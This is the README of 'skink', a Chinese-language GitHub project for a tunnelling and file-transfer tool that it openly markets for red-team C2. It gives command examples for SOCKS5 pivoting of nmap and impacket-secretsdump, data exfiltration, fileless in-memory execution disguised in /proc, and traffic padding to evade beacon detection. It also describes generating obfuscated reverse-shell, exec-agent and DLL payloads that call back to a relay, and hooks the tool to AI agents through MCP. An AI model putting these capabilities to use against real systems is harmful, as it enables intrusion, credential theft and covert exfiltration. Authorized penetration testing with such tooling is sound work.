octagono/skink
GitHub: octagono/skink
一款集加密文件传输、反向隧道、SOCKS5 代理和远程执行于一体的综合网络平台，以单一二进制提供生产级加密通信能力。
Stars: 2 | Forks: 1
# Skink — 加密文件传输与隧道平台
**Skink** 是一款文件传输工具，**也是**一个功能齐全的反向隧道平台（类似于 ngrok/frp/Chisel）。通过单一加密隧道，它可以用于移动文件、暴露本地服务或路由整个工具链。
受 croc 启发 —— 扩展增加了 SOCKS5 代理、多跳中继链、WSS 传输和 Noise Protocol 加密。
## 为什么选择 Skink？
大多数隧道工具让你做单选题：简单还是安全，快速还是可配置，对 CLI 友好还是功能丰富。Skink 不需要你妥协。
它为你提供带有 PFS 密钥重置、每隧道 ACL、流量混淆和 HA 集群的 **ngrok 式反向隧道** —— 所有这些都包含在一个**单一静态 Go 二进制文件**中，且零运行时依赖。文件传输、SOCKS5 代理、远程执行和 MCP AI 代理集成都在同一个二进制文件中提供。
无论你是在通过 NAT 暴露开发服务器、通过三个链式中继路由红队 C2，还是在 CI 中编写文件传输脚本：一个二进制文件、一种语法、一个加密通道。
### 渗透测试与红队用途
Skink 特别适合用于授权的渗透测试和红队行动。
**常见工作流**：
- **SOCKS5 枢纽点 (Pivot)**：`skink tunnel --type socks5` —— 通过单一加密通道路由 nmap、impacket、CrackMapExec 等工具。
- **隐蔽访问**：私有隧道 + 访问 token（不暴露开放端口）。
- **多跳枢纽**：链式中继以获得更好的 OPSEC。
- **数据外发**：在现有隧道或 Tor 上进行加密、可断点续传的 `skink send`。
- **持久访问**：会话持久化 + HA 集群 + 密钥重置。
**示例**：
```
skink tunnel --server relay:9090 --type socks5 \
--acl-allow "10.0.0.0/8,*.target.corp" \
--rekey-interval 3600
```
**与类似工具的比较**：
| 工具 | 文件传输 | SOCKS5 | 多跳 | 隐蔽特性 | 持久化/HA | 大小 | 最适合 |
|------------|---------------|--------|-----------|---------------------------|----------------|--------|----------|
| **Skink** | 优秀 | 是 | 优秀 | 高 (Noise, 混淆) | 优秀 | 小 | 全方位操作 |
| Chisel | 无 | 是 | 良好 | 中等 | 良好 | 微小 | 简单枢纽 |
| frp | 基础 | 是 | 良好 | 低 | 良好 | 小 | 企业级 |
| ligolo-ng | 无 | 是 | 良好 | 良好 | 良好 | 小 | Layer 3 速度 |
| ngrok | 基础 | 有限| 有限 | 中等 | 优秀 | 小 | 快速暴露（动静大） |
### 安全性与弹性亮点
| 领域 | 特性 |
|------|---------|
| 前向保密 | ECDH P-256 密钥重置 (`--rekey-interval`) |
| 静态加密 | AES-256-GCM 加密的状态文件 (`--state-key`) |
| 每隧道 ACL | IP/CIDR/域名 允许/拒绝 (`--acl-allow`, `--acl-deny`) |
| 会话弹性 | 持久化 + 恢复 + HA 集群 + 实时迁移 |
| 流量混淆 | 随机填充 + 心跳抖动 + 虚拟流量填充 |
| 内存执行 | `--memexec` — memfd_create + execveat (在 Linux 上无磁盘操作) |
| 容器调优 | `--memlimit` — Go 软内存限制，用于防止 OOM |
| Socket 优化 | TCP_FASTOPEN, QUICKACK, NOTSENT_LOWAT, BBR (Linux) |
## 安装
**下载预编译的二进制文件**（来自 [最新发布版本](https://github.com/octagono/skink/releases/latest)）：
```
# Linux amd64 示例 — 有关 darwin/windows/arm64 请参见 releases 页面
curl -L -o skink.tar.gz https://github.com/octagono/skink/releases/latest/download/skink-linux-amd64.tar.gz
tar xzf skink.tar.gz
sudo install skink-linux-amd64 /usr/local/bin/skink
```
**从源码构建**（需要 [Go](https://go.dev/dl/) 1.21+）：
```
git clone https://github.com/octagono/skink.git
cd skink
make # builds ./skink with version info from git tags
install skink ~/.local/bin/ # or /usr/local/bin
```
或者使用 `go install`：
```
go install github.com/octagono/skink@latest
```
构建变体（`build-tunnel`、`build-transfer`、`build-mcp`）记录在下方的 [构建系统](#build-system) 中。有关带标签的版本，请参见 [发布版本](https://github.com/octagono/skink/releases)。
## 快速开始
```
skink send file.txt # send file
skink # receive (prompts for code)
skink relay --tunnel-port 9090 # start relay with tunnel support
skink tunnel --server relay:9090 --type tcp --local localhost:22 # expose SSH
skink tunnel --server relay:9090 --type socks5 --socks5-port 1080 # SOCKS5 proxy
skink exec --server relay:9090 -- ls -la /etc # remote exec on relay
skink noise-keygen # generate Noise keypair
skink payload shell --relay relay:9090 --pass SECRET # reverse shell payload
```
## 功能特性
### 文件传输
- 端到端加密文件传输 (PAKE + NaCl secretbox)
- 多文件、文件夹、文本粘贴
- 恢复中断的传输
- 本地局域网发现
### 隧道平台
| 特性 | 用法 | 描述 |
|---|---|---|
| **HTTP 隧道** | `--type http` | 通过公共 URL 暴露本地 Web 服务器 |
| **TCP 隧道** | `--type tcp` | 转发任何 TCP 服务 (SSH, RDP, 反向 shell) |
| **UDP 隧道** | `--type udp` | 通过多路复用流进行数据报分帧 |
| **SOCKS5 代理** | `--type socks5` | 通过单一隧道路由所有工具 (nmap, curl, impacket) |
| **私有隧道** | `--private` | 无公共端口 — 仅通过 token 访问 |
### 传输方式
| 传输方式 | 标志 | 用例 |
|---|---|---|
| TCP (默认) | `--transport tcp` | 标准，开销最低 |
| WSS | `--transport wss` | WebSocket Secure — 绕过 DPI，使用 utls Chrome JA3 指纹 |
| QUIC | `--transport quic` | HTTP/3 传输 — 原生多路复用（无队头阻塞），1-RTT TLS 1.3 |
| 命名管道 | `--transport pipe` | 用于横向移动的 Windows SMB 命名管道传输 |
### 高级隧道功能
#### 多跳中继链
为 OPSEC 链式中继：**目标 → Relay-C → Relay-B → Relay-A → 你**
```
skink relay --tunnel-port 9090 # edge (public)
skink relay --tunnel-port 9091 --upstream edge:9090 # middle (pivot)
skink tunnel --server pivot:9091 --type socks5 # target
```
每个中继只知道下一跳。上游负责分配端口并处理连接。
#### 私有隧道共享
**无需公共端口**即可通过中继暴露服务。访问权限由 token 授予 — 没有可扫描的 URL，也没有可探测的端口。
```
# Relay 端：注册私有 tunnel
skink tunnel --server relay:9090 --type tcp --local localhost:22 --private
# 输出包含 access token（例如 "access_token: a1b2c3d4..."）
# Relay 上不会分配公共端口。
# Client 端：连接到私有 tunnel
skink tunnel --server relay:9090 --access a1b2c3d4... --local localhost:2222
# 现在 ssh user@localhost:2222 会通过 relay 路由到私有服务
```
- 无暴露的公共端点 — 服务对互联网扫描器是不可见的（暗网状态）
- 访问 token 是唯一的授权方式；中继无法解密负载
- 适用于所有隧道类型 (TCP, HTTP, UDP)
- 网桥通过中继数据端口使用现有的 yamux 多路复用
#### 会话恢复与持久化
隧道能够在中继重启后存活。中继将状态持久化到 JSON 文件中；客户端使用保存的隧道 ID 重新连接，而不是重新注册。
```
# Relay：持久化 tunnel 状态，以便 tunnel 在重启后依然存在
skink relay --tunnel-port 9090 --persist /var/lib/skink/state.json
# Client：使用保存的 tunnel ID 重连（而不是重新注册）
skink tunnel --server relay:9090 --type http --local localhost:3000 --resume /tmp/tunnel-resume.json
```
当客户端在网络断开或中继重启后重新连接时，它会发送保存的隧道 ID。中继查找持久化的状态并恢复连接，而无需重新注册。如果恢复失败（中继没有此隧道），客户端会自动回退到全新注册。
#### 中继 HA 集群
运行多个共享隧道状态的中继。当一个隧道在一个中继上注册或注销时，它会同步到所有节点。
```
# Relay A（主要）
skink relay --tunnel-port 9090 --persist /shared/skink.json --sync-port 9400
# Relay B（备用） — 与 A 同步
skink relay --tunnel-port 9091 --persist /shared/skink.json --sync-port 9401 \
--sync-peers relayA:9400
# Client：以逗号分隔的 server failover 列表
skink tunnel --server relayA:9090,relayB:9091 --resume /tmp/resume.json --type tcp --local :22
```
客户端会按顺序尝试每个服务器。通过共享状态和 `--resume`，隧道会重新连接到任何可用的中继。
#### 每隧道资源控制
为每个隧道设置连接限制、带宽上限和空闲超时：
```
skink tunnel --server relay:9090 --type tcp --local :22 \
--max-connections 10 --bandwidth-limit 1048576 --idle-timeout 300
```
限制在隧道注册时发送，并由中继强制执行：
- `--max-connections`：并发代理连接上限 (0=无限制)
- `--bandwidth-limit`：每隧道每秒字节数 (0=无限制)
- `--idle-timeout`：代理连接空闲超时时间（秒）(0=默认 30s)
#### 动态拆分隧道
使用域名或 CIDR 将流量路由通过隧道或绕过隧道。
支持在同一规则中使用通配符域名、精确域名和 CIDR 表示法：
```
# 通过 tunnel 路由企业 CIDR 和域名；绕过其他所有流量
skink tunnel --server relay:9090 --type socks5 \
--route 10.0.0.0/8,*.corp.internal,*.sso.corp.com \
--bypass 0.0.0.0/0,*.public-cdn.com
```
域名模式 (`*.example.com`) 会在 DNS 解析之前进行检查。如果目标域名匹配路由或绕过模式，则会立即做出决定，无需进行解析。
#### 流量混淆
每条消息的随机填充使得流量分析变得更加困难。结合心跳抖动以实现隐蔽：
```
skink tunnel --server relay:9090 --type socks5 \
--padding-min 64 --padding-max 1024 --heartbeat-jitter 0.4
```
填充应用于每个隧道控制消息。中继在处理前会去除填充。心跳的时间抖动（使用 --heartbeat-jitter 0.4 时为 ±40%）使得信标检测变得困难。
#### 虚拟流量填充
在空闲期间注入定期的虚拟心跳消息，以掩盖隧道活动，防止被流量分析：
```
skink tunnel --server relay:9090 --type socks5 --dummy-traffic 30s
```
以指定的时间间隔发送带有随机 32–96 字节填充的心跳消息。结合心跳抖动，这打破了基于机器学习的流量分类器所检测到的静默模式。
#### 内存执行
接收二进制负载并直接从内存执行 — 在 Linux 上无磁盘痕迹（使用 `memfd_create` + `execveat`）：
```
SKINK_SECRET=XXX skink --memexec --yes
```
在 Linux 上，该进程在 `/proc` 中显示为 `/memfd:ld-linux.so.2`。在其他平台上，回退到临时文件 + exec + unlink。
#### PFS 密钥重置
通过加密控制通道使用 ECDH P-256 对长生命周期隧道进行定期密钥轮换：
```
skink tunnel --server relay:9090 --type tcp --local :22 --rekey-interval 1800
```
每个时间间隔生成全新的 ECDH 密钥对。通过 ECDH 派生共享密钥，新会话密钥 = SHA256(旧密钥 || 共享密钥)。双方原子化切换。没有连接中断。
#### 连接迁移
无需重启即可将实时隧道移动到另一个中继：
```
skink tunnel --server relay-a:9090 --type tcp --local :22 --migrate relay-b:9090
```
建立新的控制连接 + 向目标中继发送恢复请求，关闭旧连接，并在目标的数据端口上重新建立数据会话。
#### 每隧道 ACL
隧道内部的细粒度访问控制：
```
skink tunnel --server relay:9090 --type socks5 \
--acl-allow "10.0.0.0/8,*.internal.corp,192.168.0.0/16" \
--acl-deny "0.0.0.0/0"
```
支持 IP、CIDR 和域名模式。在转发之前的每个代理连接 `RequestProxy` 中进行检查。
#### 内置压缩
通过自动协商支持按隧道进行可配置压缩：
```
skink tunnel --server relay:9090 --type http --local :3000 --compress gzip
```
选项：`deflate`（默认）、`gzip`、`none`。应用于所有隧道控制消息和数据流。
#### 域名正则路由
使用正则表达式域名模式扩展拆分隧道：
```
skink tunnel --server relay:9090 --type socks5 \
--route "re:.*\.corp\.example\.(com|net)" \
--bypass "re:.*\.public-cdn\.com"
```
使用 `re:` 前缀进行正则表达式匹配。在 `--route`/`--bypass` 中与 CIDR 和通配符域名模式配合使用。
#### STUN / NAT 穿透
通过 STUN 发现你的公共地址，用于 UDP 打洞：
```
skink tunnel --server relay:9090 --stun-server stun.l.google.com:19302
```
打印通过 STUN 绑定请求发现的公共 IP:端口。对于调试 UDP 隧道的 NAT 穿透非常有用。
#### 嵌入式轻量级中继
生成一个最小的进程内中继，用于直接 P2P 回退：
```
skink tunnel --server main-relay:9090 --embedded-relay 9999
```
当主中继不可达时，嵌入式中继直接在端口 9999 上接受隧道连接并进行 PAKE 认证。
#### 自适应窗口调优
根据测量的 RTT 自动调优 yamux 流窗口：
```
skink tunnel --server relay:9090 --adaptive-window
```
每 5 秒发送一次 RTT 探测消息。平滑后的 RTT 调整 yamux 窗口以匹配带宽延迟积 (BDP)，从而在高延迟链路上实现最佳吞吐量。
#### SOCKS5 中的可配置 DNS
控制 SOCKS5 代理模式下 DNS 解析的发生位置：
```
skink tunnel --server relay:9090 --type socks5 --dns remote
```
模式：`remote`（默认 — 由中继解析）、`local`（客户端在转发前解析）、`both`（先尝试本地，失败后回退到远程）。
#### 加密状态文件
通过 `--persist` 持久化的状态文件使用 AES-256-GCM 进行静态加密：
```
skink relay --tunnel-port 9090 --persist /var/lib/skink/state.json --state-key "your-master-key"
```
密钥默认为中继密码的 SHA-256。使用 `--state-key` 指定专用密钥。使用 `--persist :memory:` 进行纯内存操作（无磁盘读写）。
#### REST API
通过中继上的本地 HTTP API 以编程方式管理隧道。
```
# 启动 relay 并启用 API
skink relay --tunnel-port 9090 --api-port 9093 --api-token my-secret-token
# 列出所有 tunnel
curl -H "Authorization: Bearer my-secret-token" http://127.0.0.1:9093/api/v1/tunnels
# 获取特定 tunnel
curl -H "Authorization: Bearer my-secret-token" http://127.0.0.1:9093/api/v1/tunnels/
# 删除 tunnel
curl -X DELETE -H "Authorization: Bearer my-secret-token" http://127.0.0.1:9093/api/v1/tunnels/
# 服务器状态
curl http://127.0.0.1:9093/api/v1/status
```
仅绑定到 `127.0.0.1`。Bearer token 身份验证是可选的，但建议使用。端点返回 JSON。无 Web 仪表板依赖 — 可通过 jq 或任何 HTTP 客户端管道处理。
### 配置热重载
在不重启隧道的情况下更改路由规则、心跳参数或拆分隧道 CIDR。
```
# 使用 config file 启动 tunnel 并启用 hot-reload
skink tunnel --config skink-tunnel.yaml --watch
```
在隧道运行时编辑 `skink-tunnel.yaml` — 对 `routes`、`bypass_routes`、`heartbeat_interval` 和 `heartbeat_jitter` 的更改会立即生效。活动连接不会被断开。监视器内部使用 fsnotify。
```
# 示例：通过编辑此文件实时更新路由
server: relay:9090
type: socks5
heartbeat_interval: 60
routes:
- 10.0.0.0/8
bypass_routes:
- 0.0.0.0/0
```
### 通过中继远程执行
**前提条件：** 中继必须使用 `allow-exec` 启动（默认关闭）。
```
# 在 relay (VPS) 上：
skink --pass SECRET relay --tunnel-port 9090 --allow-exec
# 在 client 上：
skink exec --server relay:9090 -- ls -la /etc
skink exec --server relay:9090 -- cat /etc/os-release
skink exec --server relay:9090 -- id
```
命令在中继（或隧道目标）上运行。返回包含 stdout、stderr 和退出代码的结构化 JSON 响应。使用 yamux `EXEC|` 前缀流。如果中继上未启用 `--allow-exec`，exec 会返回 `{"error":"exec disabled on this relay"}`。
### Docker 部署
```
# 使用 docker compose 启动 relay：
docker compose up -d
# 或手动方式：
docker build -t skink .
docker run -d --name skink-relay \
-p 9009-9013:9009-9013 \
-p 9090:9090 -p 9091:9091 \
-p 8080:8080 \
-e SKINK_PASS=changeme \
skink
```
多阶段 Dockerfile，带健康检查的 docker-compose。
### JSON 结构化日志
```
skink relay --log-format json | jq 'select(.level == "error")'
skink tunnel --log-format json | jq -c '{msg: .message}'
```
换行符分隔的 JSON：`level`、`message`、`timestamp`、`app`。通过 jq 管道进行过滤 — 无需 Web 仪表板。
### MCP 服务器 (AI 代理集成)
Skink 内置了 MCP (Model Context Protocol) 服务器，允许 AI 代理将 Skink 的功能作为原生工具使用。
```
# 构建 MCP server 二进制文件
make build-mcp
# 启动 MCP server（stdio transport）
skink-mcp
```
代理通过 **10 个工具**和 **5 个资源**与 Skink 进行通信：
| 工具 | 描述 |
|---|---|
| `send_file` | 带有路径验证的加密文件传输 |
| `receive_files` | 使用密码短语接收文件 |
| `tunnel_start` | 暴露本地服务（公共或私有） |
| `tunnel_stop` | 按 ID 停止隧道 |
| `tunnel_list` | 列出中继上的活动隧道 |
| `tunnel_access` | 连接到私有隧道 |
| `relay_start` | 启动中继服务器 |
| `generate_code` | 生成随机传输代码 |
| `noise_keygen` | 生成 Noise 密钥对 |
| `version` | 获取 Skink 版本 |
**客户端配置：**
**资源**（由代理作为上下文加载）：
| URI | 描述 |
|---|---|
| `skink://version` | 二进制版本信息 |
| `skink://help` | 命令摘要 |
| `skink://tunnels/{server}` | 中继上的活动隧道 |
| `skink://status/{server}` | 中继状态和指标 |
| `skink://relay/config` | 默认配置参考 |
#### 架构
MCP 服务器通过带有 `--agent` 标志的 `os/exec` 包装 `skink` CLI。
这提供了进程隔离（文件传输崩溃不会影响代理会话），避免了循环 Go 导入问题，并充分利用了结构化的 `--output json` 格式。
所有文件操作都被限制在可配置的工作目录中。
隧道连接可以限制为预批准的中继主机白名单。
命令通过 `exec.CommandContext` 在可配置的超时时间内运行。
### 代理技能 (agentskills.io)
该仓库附带了一个位于 [`.agents/skills/skink/`](.agents/skills/skink/SKILL.md) 的可发现代理技能，以便 opencode、Claude Code 和 Cursor 自动加载 skink 使用指南 — 命令参考、关键陷阱（全局标志顺序、隧道数据端口 = 控制端口+1、代理的传输限制）以及操作模式（反向 shell、Tor/onion、多跳）。代理从项目 `.agents/skills/` 目录中发现它；无需配置。
### AI 代理模式
Skink 专为 AI 代理和自动化使用而设计。每个命令都支持结构化 JSON 输出和语义退出代码。
```
# 单个 flag 即可启用所有适合 agent 的默认设置
skink --agent --version
# → {"status":"ok","data":{"version":"v1.0.0"}}
# 所有命令的结构化输出
skink --agent send file.txt
# → {"status":"ok","data":{"code":"...","url":"..."}}
# 带有 exit codes 的错误处理
skink send --code bad
# exit code 2（auth failure） — agent 可以根据该 code 进行分支处理
# 每个命令的 JSON 输出（不启用 agent 模式）
skink send --output json file.txt
skink tunnel --server relay:9090 --output json
```
#### 退出代码
| 代码 | 含义 | 代理操作 |
|---|---|---|
| `0` | 成功 | 继续 |
| `1` | 一般错误 | 检查 stderr，重试或中止 |
| `2` | 认证失败 | 轮换凭据，刷新 token |
| `3` | 网络错误 | 以指数退避算法重试 |
| `4` | 输入错误 | 验证参数、文件路径、配置 |
| `5` | 超时 | 增加超时时间或稍后重试 |
| `6` | 不可用 | 未找到资源 |
#### 输出格式
| 标志 | 效果 |
|---|---|
| `--output json` / `-o json` | 将结果包装在 `{"status":"ok","data":{...}}` 信封中 |
| `--output text` | 默认的人类可读输出 |
| `--agent` | 使用一个标志设置 `--quiet --log-format json --output json --yes` |
| `--version --output json` | 用于二进制预检的结构化版本元数据 |
### 构建系统
```
# 标准构建：
make
# PGO 优化构建（快 2-14%，需要 ./default.pgo profile）：
make build-pgo
# 仅 Tunnel（使用 UPX 约 2MB）：
make build-tunnel
# 仅 Transfer（无 tunnel）：
make build-transfer
# 用于 AI agent 集成（Claude, Cursor, OpenCode）的 MCP server：
make build-mcp
# 跨平台发布矩阵（linux/darwin/windows，多架构）：
make release
# Artifacts 位于 ./build/ 并附带 SHA256 校验和
# garble 混淆构建（用于红队/研究用途的符号混淆）：
make garble # full build with -literals -tiny -seed=random
make garble-tunnel # tunnel-only
make garble-release # cross-compile all platforms
# 软件物料清单：
make sbom
# Lint、vet、格式化：
make check
```
### 内存与性能调优
```
# 减少受限目标的 yamux buffer：
skink relay --yamux-window 1048576
skink tunnel --server relay:9090 --yamux-window 2097152
# 设置 Go 内存限制以避免受限系统出现 OOM：
skink relay --memlimit 256 # 256 MB soft limit
# 或者：SKINK_MEMLIMIT=256 skink relay
```
**Yamux 窗口：** 默认 16MB。越低 = 每个连接的内存越少。越高 = 高延迟链路上的吞吐量越高。根据经验，设置为 `带宽 × RTT`（带宽延迟积）。对于 100ms RTT、100Mbps 的链路，1.25MB 的窗口就足够了。对于 1Gbps 的跨洲链路，建议设置为 64MB。
**缓冲池：** 所有隧道代理流都使用 32KB 缓冲区的 `sync.Pool`，而不是按流分配。通信层（`MAGIC_BYTES` 分帧）为 >1KB 的消息池化写入缓冲区（更小的消息在栈上分配）。隧道存储缓存每个密钥的 AES-GCM AEAD 对象，而不是针对每条消息重新创建。这消除了持续传输时对 GC 造成的分配抖动。
**`--memlimit`** (Go 1.19+)：通过 `debug.SetMemoryLimit` 设置软内存限制。Go 运行时只有在接近限制时才会积极触发 GC。在限制以下，GC 运行频率较低，从而减少了 CPU 开销。对于容器，建议设置为可用 RAM 的 80%。
**TCP socket 调优 (Linux)：** 所有隧道和中继 TCP 连接都应用了生产级 socket 选项套件：TCP_NODELAY（禁用 Nagle）、TCP_QUICKACK（立即发送 ACK，每次读取后重新启用）、TCP_NOTSENT_LOWAT（128KB 缓冲膨胀预防）、BBR 拥塞控制。监听器使用 TCP_FASTOPEN（每次连接节省 1 个 RTT）。由 Minio、Xray-core、9seconds/mtg 验证。
**TCP_NODELAY：** 在所有隧道 TCP 连接上禁用 Nagle 算法 — 确保 SSH 击键和交互式流量立即发送，不被缓冲。
**零拷贝 (Linux)：** TCP 到 TCP 的代理路径通过内核管道缓冲区使用 `splice(2)`，完全绕过用户空间。文件到 socket 的传输使用 `sendfile(2)`。非 Linux 平台和非 TCP 连接（WSS、QUIC、命名管道）回退到池化的 `io.CopyBuffer`。
**QUIC 传输：** `--transport quic` 使用具有原生流多路复用功能的 HTTP/3 — 一个流上的丢包不会阻塞其他流（无队头阻塞）。1-RTT TLS 1.3 握手。不需要 yamux 层。
**模糊测试：** 运行 `make fuzz` 使用随机输入对所有入口解析器（流标头、消息帧、YAML 配置、助记码）进行 30 秒的测试。
## 详细用法
### 发送文件
```
skink send file.txt
skink send file1.txt file2.txt
skink send --code secret-pass file.txt
skink send folder-name
```
### 接收文件
```
skink # prompts for the receive code
skink my-code # pass the code directly
skink word1 word2 word3 # multi-word mnemonicode phrase
```
### 使用中继
```
skink send --relay myrelay.example.com:9009 file.txt
skink --relay myrelay.example.com:9009 # receive from a specific relay (prompts for code)
```
### 使用代理
`--socks5` 和 `--connect` 通过 SOCKS5 或 HTTP CONNECT 代理路由 skink 的出站连接。它们适用于**每个命令** — `send`、`receive`、`tunnel`、`exec` 和 `relay`。本地目标（环回、局域网 IP、`localhost`）会自动绕过代理。
```
# 通过 proxy 进行文件传输
skink --socks5 127.0.0.1:9050 send file.txt
skink --connect http://proxy:8080 send file.txt
# 通过 proxy 进行 Tunnel / 反向 shell（例如在 :9050 上的 Tor）
skink --socks5 127.0.0.1:9050 tunnel --server relay:9090 --type tcp --local localhost:22
# exec 通过相同的 proxy 路由
skink --socks5 127.0.0.1:9050 exec --server relay:9090 -- id
```
- 代理执行**远程 DNS 解析**，因此 `.onion` 地址可以通过 Tor 正确解析。
- 代理时使用 `--transport tcp` 或 `wss` — **QUIC 使用 UDP，无法穿透 TCP 代理。**
- 多跳中继链 (`--upstream`) 同样遵循 `--socks5`/`--connect`。
### Tor 和 onion 服务
通过 Tor 路由任何 skink 操作，或者将你的中继作为 Tor 隐藏服务暴露，以实现无 NAT、低归因的访问（无公共 IP，无入站端口，无证书透明度足迹）。
**客户端通过 Tor**（Tor 的 SOCKS5 监听器默认为 `127.0.0.1:9050`）：
```
skink --socks5 127.0.0.1:9050 send --relay abc...xyz.onion:9009 file.txt
skink --socks5 127.0.0.1:9050 tunnel --server abc...xyz.onion:9090 --type tcp --local localhost:22
```
**中继作为 Tor onion 服务** — 添加到中继机器的 `/etc/tor/torrc` 中，然后对端通过 `--socks5` 连接到生成的 `.onion` 地址：
```
HiddenServiceDir /var/lib/tor/skink/
HiddenServicePort 9009 127.0.0.1:9009 # file transfer
HiddenServicePort 9090 127.0.0.1:9090 # tunnel control
HiddenServicePort 9091 127.0.0.1:9091 # tunnel data
HiddenServicePort 8080 127.0.0.1:8080 # tunnel http proxy (optional)
```
**注意事项**
- Tor 仅支持 TCP — 使用 `--transport tcp|wss`；QUIC 无法穿透它。
- Tor 链路会轮换（约 10 分钟）并且可能会中断长会话；将隧道客户端与自动重连配对（带有短超时的 `--heartbeat-interval`）以实现自动重新连接。
- 交互式隧道在 Tor 上受限于延迟（预计 RTT 为数秒）。
- Tor 流量本身是可以被指纹识别的 — 在封锁 Tor 的网络上使用 obfs4 网桥或 Snowflake。
### 隧道用法
```
# 支持 tunnel、health checks、metrics 的 Relay
skink relay --tunnel-port 9090 --tunnel-http-port 8080 \
--health-check-interval 30 --metrics-port 9091
# 暴露本地服务
skink tunnel --server relay:9090 --type http --local localhost:3000
skink tunnel --server relay:9090 --type tcp --local localhost:22 --password secret
skink tunnel --server relay:9090 --type udp --local localhost:1194
# SOCKS5 — 通过 tunnel 路由任何工具
skink tunnel --server relay:9090 --type socks5
# proxychains4 nmap -sT -Pn 10.0.1.0/24 -p 445
# proxychains4 impacket-secretsdump DOMAIN/user@10.0.1.10
# 配合 TLS wrapping、WSS transport 和 Noise
skink tunnel --server relay:9090 --type socks5 --transport wss \
--heartbeat-interval 300 --heartbeat-jitter 0.5
```
### 配置文件
```
# skink-tunnel.yaml
server: relay.example.com:9090
type: tcp
local: localhost:22
tls: true
tls_skip_verify: true
heartbeat_interval: 300
heartbeat_jitter: 0.5
private: false # enable private tunnel mode
access_token: "" # for connecting to a private tunnel
routes: # split tunnel CIDRs
- 10.0.0.0/8
bypass_routes: # bypass tunnel CIDRs
- 0.0.0.0/0
```
```
skink tunnel --config skink-tunnel.yaml # load config
skink tunnel --config skink-tunnel.yaml --watch # load + hot-reload on changes
```
### 负载生成
生成内置中继配置的独立可部署二进制文件。
运行时不需要配置文件或环境变量 — 所有内容都编译到了二进制文件中。
**必须在 skink 源码树中运行**（包含 `go.mod` 的目录）。
```
skink payload shell --relay relay:9090 --pass SECRET # reverse shell
skink payload exec --relay relay:9090 --pass SECRET # command exec agent
skink payload socks --relay relay:9090 --pass SECRET # SOCKS5 pivot
skink payload dll --relay relay:9090 --pass SECRET # Windows DLL
# 针对任何目标进行交叉编译
skink payload shell --relay relay:9090 --pass SECRET \
--os windows --arch amd64 --outfile payload.exe
# 使用 garble 进行混淆（-literals -tiny -seed=random）
skink payload shell --relay relay:9090 --pass SECRET --garble
# 自定义 subdomain、heartbeat 和 jitter
skink payload shell --relay relay:9090 --pass SECRET \
--subdomain myshell --heartbeat 60 --jitter 0.5 --dummy-traffic 30s
```
生成的二进制文件在执行时会通过中继进行反向连接。
模板源码：`cmd/payload-{shell,exec,socks,dll}/`。
## 隐私与安全
- **加密：** PAKE (Password Authenticated Key Exchange) + NaCl secretbox (XChaCha20-Poly1305)
- **零知识中继：** 中继无法解密传输的数据
- **Noise Protocol：** 可选的 NK 握手，用于在 TLS 检查下进行双重加密
- **认证选项：** 密码、bearer token、SSH 公钥
- **速率限制：** 基于 IP 的 token 桶、IP 白名单、连接上限
## 构建质量
```
make build # standard build
make build-mcp # MCP server for AI agent integration
make release # cross-platform release matrix + SHA256 checksums
make test # run tests
make test-race # run tests with race detector
make test-cover # coverage report
make lint # golangci-lint
make vet # go vet
make fmt # check formatting
make check # lint + vet + format
make sbom # software bill of materials
```
## 许可证
MIT
## 法律与合规使用
Skink 是一款用于合法安全研究、渗透测试和操作安全的工具。它提供的加密文件传输和隧道功能如果被滥用，也可能被用于未经授权的网络访问。
**使用此软件即表示你同意：**
1. 你只会在你拥有或获得明确书面测试授权的系统上使用 Skink。
2. 你需自行负责遵守所有适用的地方、州、联邦和国际法律。
3. 作者和贡献者对因滥用此工具而产生的任何损害或法律后果不承担任何责任。
4. Skink 的加密和隧道隐私功能是为了在授权操作中实现深度防御而提供的 — 并非为了在未经许可的情况下绕过安全控制。
5. 未经授权访问计算机系统根据《计算机欺诈和滥用法》(CFAA) 和全球类似法律属于违法行为。
*受 croc 启发。仅为授权操作使用而构建。*
| OpenCode (opencode.jsonc) | Claude Desktop |
|---|---|
| ``` "mcp_servers": { "skink": { "command": "skink-mcp", "args": [] } } ``` | ``` "mcpServers": { "skink": { "command": "/path/to/skink-mcp" } } ``` |
标签：EVTX分析, Go语言, PE 加载器, SOCKS5代理, 文件传输, 日志审计, 程序破解, 网络信息收集, 网络隧道